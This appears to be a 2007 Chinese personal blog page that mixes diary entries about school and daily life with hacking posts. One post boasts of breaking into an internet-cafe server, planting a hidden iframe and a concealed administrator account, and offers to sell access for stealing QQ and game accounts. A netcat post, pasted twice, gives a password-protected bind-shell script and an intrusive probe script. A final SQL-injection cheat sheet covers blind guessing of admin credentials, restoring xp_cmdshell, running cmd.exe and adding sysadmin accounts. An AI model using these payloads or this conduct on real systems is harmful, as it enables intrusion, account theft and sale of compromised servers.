•    有好多人劝我换博客托管商,但是我还是有点恋恋不舍这个博客,毕竟也一两年了嘛~呵呵 不过话说回来,还是有个自己的博客系统比较好嘛,所以建立了一个自己的单人博客,博客地址是 http://www.siyidao.com.cn  希望大家都来阿~
  • 2007-08-18

    胖了 - [呜呜噎噎]

                          長胖了快10斤了.這可雜辦啊?
  • 2007-08-15

    感冒了 - [呜呜噎噎]

         刚刚醒来就觉得不舒服,眼睛又肿了,都怪昨天吃的辣椒太多了。不敢出去咯。祸不单行,又觉得自己感冒了。大夏天的居然还会感冒,我不由不得佩服我的身子骨太“强”了,总会好的。
  • 2007-08-12

    肌肉拉伤 - [简单生活]

             前天因为到公园运动太激烈了,原本就不发达的胳膊肌肉就这样被拉伤了,昨天晚上一晚上都没睡好,还有一方面原因是我拉肚子了。总之,肌肉拉伤真的不好受。真TM的疼啊!!到网上去搜了一下,说用红花油可以快速愈合,好吧,就用它了。另,今天同学让我去玩,谁知道还带了两个女的。妈的,我可是见到女孩就不好意思说话了。再加上胳膊疼的没办法,最后还是那个女孩眼尖,看我真的很疼,就提前离开了。MD同学还让我骑车带这他,没办法,谁让咱命苦类......
  • 2007-08-12

    照片 - [呜呜噎噎]

    今天在摆渡图片搜索搜我的网名siyidao,发现了以前博客的图片,贴出来留个纪念.不过有些已经找不到了,呵呵~
      
             
     
     
     
       
  • 2007-08-10

    红内裤 - [偶有感想]

            我最近发现现在流行穿红内裤,不是说我不同意穿红内裤.但是我发现我的同学(关系比较铁的那种)都传上了红内裤.今天在QQ视频上看到一个人弹吉他,也是穿的红内裤.为了赶潮流,我这下该考虑考虑是不是我也该买条红内裤了.
  •   
     
     
     
     
  •      不能说的秘密,迅雷有下载哦,俺都看过了.还OK啦~`
  • 2007-08-03

    寻找留言本 - [呜呜噎噎]

                                                                    寻留言本启示
             本人寻找丢失已久的网络留言薄,因整修Blog后连接地址丢失,搜索引型里没扒出来,若有看到,留言回复,定重谢!(读者:多少钱啊?0-0答:革命未成功,同志还需努力!)
            
  • 2007-08-03

    天意弄人? - [简单生活]

            嘿嘿,今天看了朋友的博客,有一篇为天意弄人 的文章,只是总是说什么天意弄人什么的.不明白为什么他要说天意弄人?情感受到挫折了?生活遇到不顺心的事情啦?还是有别的什么原因?
            总之感觉他说的话好像是疯子一样!这里不是要刻意的攻击你哦!咱们是好朋友,我有什么话就只管说啦.呵呵  看到后千万不要生气呀!我觉得你的博客弄的很不爽,现在你写的文章不要说让人家看了,恐怕你自己也看不懂了吧.

    因为公平??

    因为快感??

    因为愤怒??

            以上三句话引子他的博客,起码你让我看懂撒.
  • 2007-08-01

    狂刷点击量 - [呜呜噎噎]

           昨天一不小心就渗透进去一个网吧内部影院服务器,心想今天真还好运.如果我把内部影院上挂上马的话那不是 QQ多多,游戏账号多多了? 要知道网吧的电脑可不给你打什么补丁,一还原就行了.但是呢我又不是什么爱号盗QQ的人,游戏账号吧虽说可以卖钱,但是那也是人家辛辛苦苦练出来的哦.所以还是算了 饶人家一命吧!看我人多好.()
            打开首页,发现已经被人家挂马了,发现是ARP挂的马,日 ARP挂马可没法清除.今天不是讨论ARP挂马的,而是讨论刷流量的,我的博客可没在51A 上注册啊,也注册不成,所以能直接挂挂上我的博客地址就行了.代码<i src=http://siyidao.52blog.net width=0 height=0></i>   就OK了.为了这台内网服务器以后留着用.所以暂时先加了个超级隐藏的管理员账号,除非在注册表中能看到,什么NET USER 啊 ,账户管理里面都不显示.恩 今天看了下流量,还可以,一天能刷个1000左右能. 如果有兴趣挂马的朋友,要盗什么QQ啊,游戏账号啊,给我说声,我把服务器卖给你,需要的联系我啊!
  •         其实我还是我,我还是那个小男孩.我并没有成熟,我自以为我变的相当成熟了.不爱说话,不爱打闹,比起以前的我要成熟的一万倍.
             其实你们被我的表面现象所蒙蔽了.我还是那个我!!
  •         今天看了宋祖德的博客,很是壹個會罵人的人。不帶髒字。我看著都感覺很帶勁,但是通過搜索發現,原來宋祖德是以“大嘴”著稱的。
            本來我不知道宋祖德是誰,上次看壹個黑友做的教程裏面有入侵宋祖德網站,才知道原來還有這麽壹號人。只是讓我感覺到這個人真是個厚臉皮。誰都敢說。什麽馮曉剛啊,周訊啊,等等等等壹系列的明星,不誹包括那些剛出道的。我個人認爲,宋祖德雖然很是屬于那種超級賤,我自認爲我都很是賤了,但是他比我更那個。哎 人不能無恥到這種地步啊!但是廣大黑友對他的網站頻繁的攻擊,我覺得這個也是很不應該的嘛,入侵了過後有的還寫上自己的QQ 或網名。明顯是出風頭的嘛。對于這種人我覺得很無聊。還是不要的好。宋祖德的德行也不是我們能說讓他停止就停止的,我今天特意看了網上的那些視頻,宋祖德是詩人,導演,作家,反正很多稱號。而且還很愛炫耀自己的這些稱號。沒必要吧老宋!妳不說人家也知道妳是幹什麽的,妳的博客是不是寫的很清楚嘛。
            不過話說回來,他所說的話有寫雖然難聽,但也並不是完全的錯誤。說壹寫誹文,說倆句就算了,不要很說嘛!恩 還又說回來,人不可以無恥到這種地步。。。。。
  • 2007-06-23

    [空] - [偶有感想]

            我想只有高中的生活才是這麽的充滿趣味吧。又壹次面臨同學分開。我心痛。好不容易結識了壹幫朋友現在又要各分開了。不過好的方面是還在壹個學校。呵呵 班頭他媽的太垃圾了,昨天我就想回家。寢室要收拾東西。我的行李太多了帶不走,要不是昨天下雨我早他媽的早就走了。班頭還說下午要分班,結果呢!!!!!!郁悶!!!!!!
          正在寫這篇日志的時候,同學說10點前要照相,算了,就寫到這裏。我又要走了!!!!!
  •         刚刚在网上碰到了以前的一个同学,看了他的资料。发现在他的空间里写着“退学”二字,我不知道上不是骗人的。马上问了他,果然是真的。但是为什么初中学的好的学生在高中生涯里要退学。我看了他写的东西:
        既然已經走到這一步 
            即使有再多的親朋好友,
    麵對更多親慼長輩的勸說
    我也不會囬頭
    無法讓我再囬到那地獄般的學校
    其實退學再大人眼裏就是一件可恥的事情!!!
    但我相信有一大半的學生都是因為傢長才去上學的.
    現在的這種教育製度,
    也應該有人站出来反抗一下叻!
    為什么我們不想上學卻偏片逼着我們上學??
    這就是中國的教育嗎?
    為什么我們不能學自己想學的東西 ?
    有學自己想學的東西這種想法也會被我們這個畜生老師 看不起
    可能很多人都覺得我很傻`
    可是在不上學的這機天裏,感覺就是一個字-----------爽
    這就是我想要的`
    即使不上網,也無法阻擋我對"學校"這個名次的憎惡
    還是有很多 長輩們囬劝我上完高一,
    但妳們知道嗎?每當我看到那地獄似的大門,
    我就有一種打心裏的厭惡!!!!!!!!
    相信在上學的朋友同學們 也會有這樣的想法  即使很少
    希望大傢也可以談談妳們對"學校"這個名詞的看法
    這裏是可以隨便說的 地方      我們就來髮洩一下吧!!!!!
    但妳們一定不要象我一樣,這樣會讓妳們的父母傷心`
    ------------隻要他們不是逼你上學的,      
     
           他写出了我内心的感受,我也想退学,在我们哪个鸟不拉屎的学校,我还能干什么整天就是被老师管,看着那些同学的脸,他们比学习,下课讨论问题,他吗的有什么好比的。他们自己也只不过是只会学习而失去自我的稻草人。我我也不愿意在学校呆了。只是看着家里的人从一个从小学习成绩年纪前几到后来的倒数,他们真的是心寒了。但是我要做我自己。我不想被中国的教育来抵制我的发展。我相信我们都很聪明,只是在个别时候我们都没有心而已。
                                                                             辉——写于2007年6月3日逃课
     
  • http://www.hackerxfiles.net/bbs/templates/default/xiao.html   
  • 詠遠珍惜伱︷噎個 .oの維護鉨ωǒ啲緈福
    想与伱壹辈子在①起 記芐ωǒ們Dè諾言 宪ωǒ輕聲告訴伱:"下軰孑﹏ωǒ①様愛伱\' ∞ 喜歡.◇.跟伱在一起嘚

  •   已经成功了`
  •         雨從昨天晚上下到今天晚上,早上從網吧出來。天是下著雨的。隨便吃了點東西就回家了。壹路上總是感覺到不自在。可能是因爲缺乏睡眠吧!回家發現哥哥不在家,可能去洛陽找同學玩了吧。剛在車上睡了會兒不是太困了。找到大哥的筆記本電腦。發現大哥的VISTA已經卸載掉了。卻出現了我熟悉的XP。HP的電腦還真垃圾,鍵盤沒幾天就敲壞了。看了看大哥的電腦。發現壹些不重要的設置還沒更改,就順手幫忙改了下。打開壹部電影,躺在床上,沒壹會兒就睡著了。
             如果不是那女的給我打電話我可能還會睡到晚上。如果睡到晚上睡不著我可能還會去夜市。她說讓我出來,其實我是不想出去的。雨又下大了,他三催兩催的給我發信息,哎 鬥不過她還是去吧,我們約好在中丹見面。走在路上,拔出壹根香煙,雨滴打在香煙上,我好象還能聞到那父親身上淡淡的煙香。見了面,有些尴尬,她讓我陪她上二胡課,我那有那心思啊。隨便聊了兩句,然後我就又回家了。有些無聊!`然後就又睡著了!
  • 2007-03-03

    可恶的52 - [简单生活]

      刚刚写了一篇文章,怎么就会没了呢??郁闷
    `
  • 2007-02-23

    nc使用技巧 - [呜呜噎噎]

    nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些说说它的使用技巧。
    (文中所举的都来自于nc110.tgz的文件包) 


    一、基本使用

    Quack# nc -h
    [v1.10]
    想要连接到某处: nc [-options] hostname port[s] [ports] ...
    绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
    参数:
    -e prog 程序重定向,一旦连接,就执行 [危险!!]
    -g gateway source-routing hop point[s] up to 8
    -G num source-routing pointer: 4 8 12 ...
    -h 帮助信息
    -i secs 延时的间隔
    -l 监听模式,用于入站连接
    -n 指定数字的IP地址,不能用hostname
    -o file 记录16进制的传输
    -p port 本地端口号
    -r 任意指定本地及远程端口
    -s addr 本地源地址
    -u UDP模式
    -v 详细输出——用两个-v可得到更详细的内容
    -w secs timeout的时间
    -z 将输入输出关掉——用于扫描时

    其中端口号可以指定一个或者用lo-hi式的指定范围。

    二、用于传输文件——ncp

    #! /bin/sh
    ## 类似于rcp,但是是用netcat在高端口做的
    ## 在接收文件的机器上做"ncp targetfile"
    ## 在发送文件的机器上做"ncp sourcefile receivinghost"
    ## 如果调用了 "nzp" ,会将传输文件压缩

    ## 这里定义你想使用的端口,可以自由选择
    MYPORT=23456

    ## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
    # PATH=${HOME}:${PATH} ; export PATH

    ## 下面这几行检查参数输入情况
    test "$3" && echo "too many args" && exit 1
    test ! "$1" && echo "no args?" && exit 1
    me=`echo $0 | sed s+.*/++ `
    test "$me" = "nzp" && echo [compressed mode] 

    # if second arg it s a host to send an [extant] file to.
    if test "$2" ; then
    test ! -f "$1" && echo "can t find $1" && exit 1
    if test "$me" = "nzp" ; then
    compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
    else
    nc -v -w 2 $2 $MYPORT < "$1" && exit 0
    fi
    echo "transfer FAILED!"
    exit 1
    fi

    # 是否在接收文件机器当前目录有同名文件
    if test -f "$1" ; then
    echo -n "Overwrite $1? "
    read aa
    test ! "$aa" = "y" && echo "[punted!]" && exit 1
    fi
    # 30 seconds oughta be pleeeeenty of time but change if you want.
    if test "$me" = "nzp" ; then
    # 注意这里nc的用法,结合了重定向符号和管道
    nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
    else
    nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
    fi
    echo "transfer FAILED!"
    # clean up since even if the transfer failed $1 is already trashed
    rm -f "$1"
    exit 1

    这样的话,我只要在A机器上先 QuackA# ncp ../abcd
    listening on [any] 23456 ...
    然后在另一台机器B上
    QuackB#ncp abcd 192.168.0.2
    quackb [192.168.0.1] 23456 (?)
    A机上出现
    open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
    #
    查看一下,文件传输完毕。

    三、用于绑定端口——bsh

    首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
    具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

    #! /bin/sh
    ## 一个利用nc的绑定shell并且带有密码保护的脚本
    ## 带有一个参数,即端口号

    NC=nc

    case "$1" in
    ?* )
    LPN="$1"
    export LPN
    sleep 1
    #注意这里nc的用法,参数-l是lister,-e是执行重定向
    echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
    echo "launched on port $LPN"
    exit 0
    ;;
    esac

    # here we play inetd
    echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &

    while read qq ; do
    case "$qq" in
    # 这里就是弱密码保护了,密码是quack
    quack )
    cd /
    exec csh -i
    ;;
    esac
    done

    要看看它是怎么使用的么?
    quack# ./bsh 6666 <-------输入,后面是程序输出
    -l -p 6666 -e ./bsh
    launched on port 6666
    quack#
    quack## nc localhost 6666 <----------输入
    -l -p 6666 -e ./bsh
    quack <----------输入,密码验证
    Warning: imported path contains relative components
    Warning: no access to tty (Bad file deor).
    Thus no job control in this shell.
    Cracker#

    四、 用于端口扫描——probe

    在我们常见的一些端口扫描程序中,如Vetescan这类以shell 写成的话,很多都
    需要系统中装有netcat,原因何在呢?看看下面的,你或许会明白一些。

    #! /bin/sh
    ## launch a whole buncha shit at yon victim in no particular order; capture
    ## stderr+stdout in one place. Run as root for rservice and low -p to work.
    ## Fairly thorough example of using netcat to collect a lot of host info.
    ## Will set off every intrusion alarm in existence on a paranoid machine!

    # 该目录里有一些小工具
    DDIR=../data
    # 指定网关
    GATE=192.157.69.11

    # might conceivably wanna change this for different run styles
    UCMD= nc -v -w 8 

    test ! "$1" && echo Needs victim arg && exit 1

    echo | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
    echo 0 | $UCMD "$1" 79 2>&1
    # if LSRR was passed thru should get refusal here:
    # 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
    $UCMD -z -r -g $GATE "$1" 6473 2>&1
    $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
    # -s `hostname` may be wrong for some multihomed machines
    echo UDP echoecho! | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
    echo 11310158 | $UCMD -p 10158 "$1" 113 2>&1
    rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
    echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
    # newline after any telnet trash
    echo 
    echo PASV | $UCMD -r "$1" 21 2>&1
    echo GET / | $UCMD -w 10 "$1" 80 81 210 70 2>&1
    # sometimes contains useful directory info:
    # 知道robots.txt是什么文件么?;)
    echo GET /robots.txt | $UCMD -w 10 "$1" 80 2>&1
    # now the big red lights go on
    # 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
    rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
    rservice root root | $UCMD -r "$1" exec 2>&1
    echo BEGIN big udp -- everything may look "open" if packet-filtered 
    data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
    # no wait-time uses RTT hack
    nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
    nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
    echo END big udp 
    $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
    # Use our identd-sniffer!
    iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
    # this gets pretty intrusive but what the ***. Probe for portmap first
    if nc -w 5 -z -u "$1" 111 ; then
    showmount -e "$1" 2>&1 #象showmount和rpcinfo的使用,可能会被逮到;)
    rpcinfo -p "$1" 2>&1
    fi
    exit 0

    感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
    这样扫描会留下大量的痕迹,系统管理员会额外小心;)

    多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里目录下的那
    些脚本,从中获得一些思路。 
    nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些说说它的使用技巧。
    (文中所举的都来自于nc110.tgz的文件包) 


    一、基本使用

    Quack# nc -h
    [v1.10]
    想要连接到某处: nc [-options] hostname port[s] [ports] ...
    绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
    参数:
    -e prog 程序重定向,一旦连接,就执行 [危险!!]
    -g gateway source-routing hop point[s] up to 8
    -G num source-routing pointer: 4 8 12 ...
    -h 帮助信息
    -i secs 延时的间隔
    -l 监听模式,用于入站连接
    -n 指定数字的IP地址,不能用hostname
    -o file 记录16进制的传输
    -p port 本地端口号
    -r 任意指定本地及远程端口
    -s addr 本地源地址
    -u UDP模式
    -v 详细输出——用两个-v可得到更详细的内容
    -w secs timeout的时间
    -z 将输入输出关掉——用于扫描时

    其中端口号可以指定一个或者用lo-hi式的指定范围。

    二、用于传输文件——ncp

    #! /bin/sh
    ## 类似于rcp,但是是用netcat在高端口做的
    ## 在接收文件的机器上做"ncp targetfile"
    ## 在发送文件的机器上做"ncp sourcefile receivinghost"
    ## 如果调用了 "nzp" ,会将传输文件压缩

    ## 这里定义你想使用的端口,可以自由选择
    MYPORT=23456

    ## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
    # PATH=${HOME}:${PATH} ; export PATH

    ## 下面这几行检查参数输入情况
    test "$3" && echo "too many args" && exit 1
    test ! "$1" && echo "no args?" && exit 1
    me=`echo $0 | sed s+.*/++ `
    test "$me" = "nzp" && echo [compressed mode] 

    # if second arg it s a host to send an [extant] file to.
    if test "$2" ; then
    test ! -f "$1" && echo "can t find $1" && exit 1
    if test "$me" = "nzp" ; then
    compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
    else
    nc -v -w 2 $2 $MYPORT < "$1" && exit 0
    fi
    echo "transfer FAILED!"
    exit 1
    fi

    # 是否在接收文件机器当前目录有同名文件
    if test -f "$1" ; then
    echo -n "Overwrite $1? "
    read aa
    test ! "$aa" = "y" && echo "[punted!]" && exit 1
    fi
    # 30 seconds oughta be pleeeeenty of time but change if you want.
    if test "$me" = "nzp" ; then
    # 注意这里nc的用法,结合了重定向符号和管道
    nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
    else
    nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
    fi
    echo "transfer FAILED!"
    # clean up since even if the transfer failed $1 is already trashed
    rm -f "$1"
    exit 1

    这样的话,我只要在A机器上先 QuackA# ncp ../abcd
    listening on [any] 23456 ...
    然后在另一台机器B上
    QuackB#ncp abcd 192.168.0.2
    quackb [192.168.0.1] 23456 (?)
    A机上出现
    open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
    #
    查看一下,文件传输完毕。

    三、用于绑定端口——bsh

    首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
    具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

    #! /bin/sh
    ## 一个利用nc的绑定shell并且带有密码保护的脚本
    ## 带有一个参数,即端口号

    NC=nc

    case "$1" in
    ?* )
    LPN="$1"
    export LPN
    sleep 1
    #注意这里nc的用法,参数-l是lister,-e是执行重定向
    echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
    echo "launched on port $LPN"
    exit 0
    ;;
    esac

    # here we play inetd
    echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &

    while read qq ; do
    case "$qq" in
    # 这里就是弱密码保护了,密码是quack
    quack )
    cd /
    exec csh -i
    ;;
    esac
    done

    要看看它是怎么使用的么?
    quack# ./bsh 6666 <-------输入,后面是程序输出
    -l -p 6666 -e ./bsh
    launched on port 6666
    quack#
    quack## nc localhost 6666 <----------输入
    -l -p 6666 -e ./bsh
    quack <----------输入,密码验证
    Warning: imported path contains relative components
    Warning: no access to tty (Bad file deor).
    Thus no job control in this shell.
    Cracker#

    四、 用于端口扫描——probe

    在我们常见的一些端口扫描程序中,如Vetescan这类以shell 写成的话,很多都
    需要系统中装有netcat,原因何在呢?看看下面的,你或许会明白一些。

    #! /bin/sh
    ## launch a whole buncha shit at yon victim in no particular order; capture
    ## stderr+stdout in one place. Run as root for rservice and low -p to work.
    ## Fairly thorough example of using netcat to collect a lot of host info.
    ## Will set off every intrusion alarm in existence on a paranoid machine!

    # 该目录里有一些小工具
    DDIR=../data
    # 指定网关
    GATE=192.157.69.11

    # might conceivably wanna change this for different run styles
    UCMD= nc -v -w 8 

    test ! "$1" && echo Needs victim arg && exit 1

    echo | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
    echo 0 | $UCMD "$1" 79 2>&1
    # if LSRR was passed thru should get refusal here:
    # 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
    $UCMD -z -r -g $GATE "$1" 6473 2>&1
    $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
    # -s `hostname` may be wrong for some multihomed machines
    echo UDP echoecho! | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
    echo 11310158 | $UCMD -p 10158 "$1" 113 2>&1
    rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
    echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
    # newline after any telnet trash
    echo 
    echo PASV | $UCMD -r "$1" 21 2>&1
    echo GET / | $UCMD -w 10 "$1" 80 81 210 70 2>&1
    # sometimes contains useful directory info:
    # 知道robots.txt是什么文件么?;)
    echo GET /robots.txt | $UCMD -w 10 "$1" 80 2>&1
    # now the big red lights go on
    # 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
    rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
    rservice root root | $UCMD -r "$1" exec 2>&1
    echo BEGIN big udp -- everything may look "open" if packet-filtered 
    data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
    # no wait-time uses RTT hack
    nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
    nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
    echo END big udp 
    $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
    # Use our identd-sniffer!
    iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
    # this gets pretty intrusive but what the ***. Probe for portmap first
    if nc -w 5 -z -u "$1" 111 ; then
    showmount -e "$1" 2>&1 #象showmount和rpcinfo的使用,可能会被逮到;)
    rpcinfo -p "$1" 2>&1
    fi
    exit 0

    感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
    这样扫描会留下大量的痕迹,系统管理员会额外小心;)

    多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里目录下的那
    些脚本,从中获得一些思路

  • 1判断有无注入点 


    ; and 1=1 and 1=2 


    2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 


    and 0<>(select count(*) from *) 
    and 0<>(select count(*) from admin) ---判断是否存在admin这张表 


    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 


    and 0<(select count(*) from admin) 
    and 1<(select count(*) from admin) 



    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 


    and 1=(select count(*) from admin where len(*) >0)-- 
    and 1=(select count(*) from admin where len(用户字段名称name)>0) 
    and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 


    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 


    and 1=(select count(*) from admin where len(*)>0) 
    and 1=(select count(*) from admin where len(name)>6) 错误 
    and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
    and 1=(select count(*) from admin where len(name)=6) 正确 

    and 1=(select count(*) from admin where len(password)>11) 正确 
    and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
    and 1=(select count(*) from admin where len(password)=12) 正确 



    6.猜解字符 


    and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
    and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 


    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 


    and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- 


    这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 



    group by users.id having 1=1-- 
    group by users.id, users.username, users.password, users.privs having 1= 1-- 
    ; insert into users s( 666, attacker, foobar, 0xffff )-- 

    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable- 
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- 
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- 
    UNION SELECT TOP 1 login_blank> _name FROM logintable- 
    UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 



    看_blank>服务器打的补丁=出错了打了SP4补丁 


    and 1=(select @@VERSION)-- 



    看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 


    and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 



    判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 


    and sa=(SELECT System_blank>_user)-- 
    and user_blank>_name()=dbo-- 
    and 0<>(select user_blank>_name()-- 


    看xp_blank>_cmdshell是否删除 


    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)-- 



    xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 


    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll-- 


    反向PING自己实验 


    ;use master;declare @s int;exec sp_blank>_oacreate "w.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 


    加帐号 


    ;DECLARE @shell INT EXEC SP_blank>_OACREATE w.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- 


    创建一个虚拟目录E盘: 


    ;declare @o int exec sp_blank>_oacreate w.shell, @o out exec sp_blank>_oamethod @o, run, NULL, c.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"-- 


    访问属性:(配合写入一个webshell) 


    declare @o int exec sp_blank>_oacreate w.shell, @o out exec sp_blank>_oamethod @o, run, NULL, c.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse 



    爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 


    and 0< >(select top 1 paths from newtable)-- 


    得到库名(从1到5都是系统的id,6以上才可以判断) 
    and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
    依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名 



    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 
    and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 
    and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id 
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id 
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
    (id,...)) 来暴出其他的字段 
    and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 
    依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 

    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
    and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 
    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 

    ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
    ?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用) 



    得到WEB路径 


    ;create table [dbo].[swap] ([swappass][char](255));-- 
    and (select top 1 swappass from swap)=1-- 
    ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @_blank>_name=/, s=@test OUTPUT insert into paths (path) s(@test)-- 
    ;use ku1;-- 
    ;create table cmd (str image);-- 

    建立image类型的表cmd 

    存在xp_blank>_cmdshell的测试过程: 


    ;exec master..xp_blank>_cmdshell dir 
    ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 
    ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- 
    ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- 
    ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 
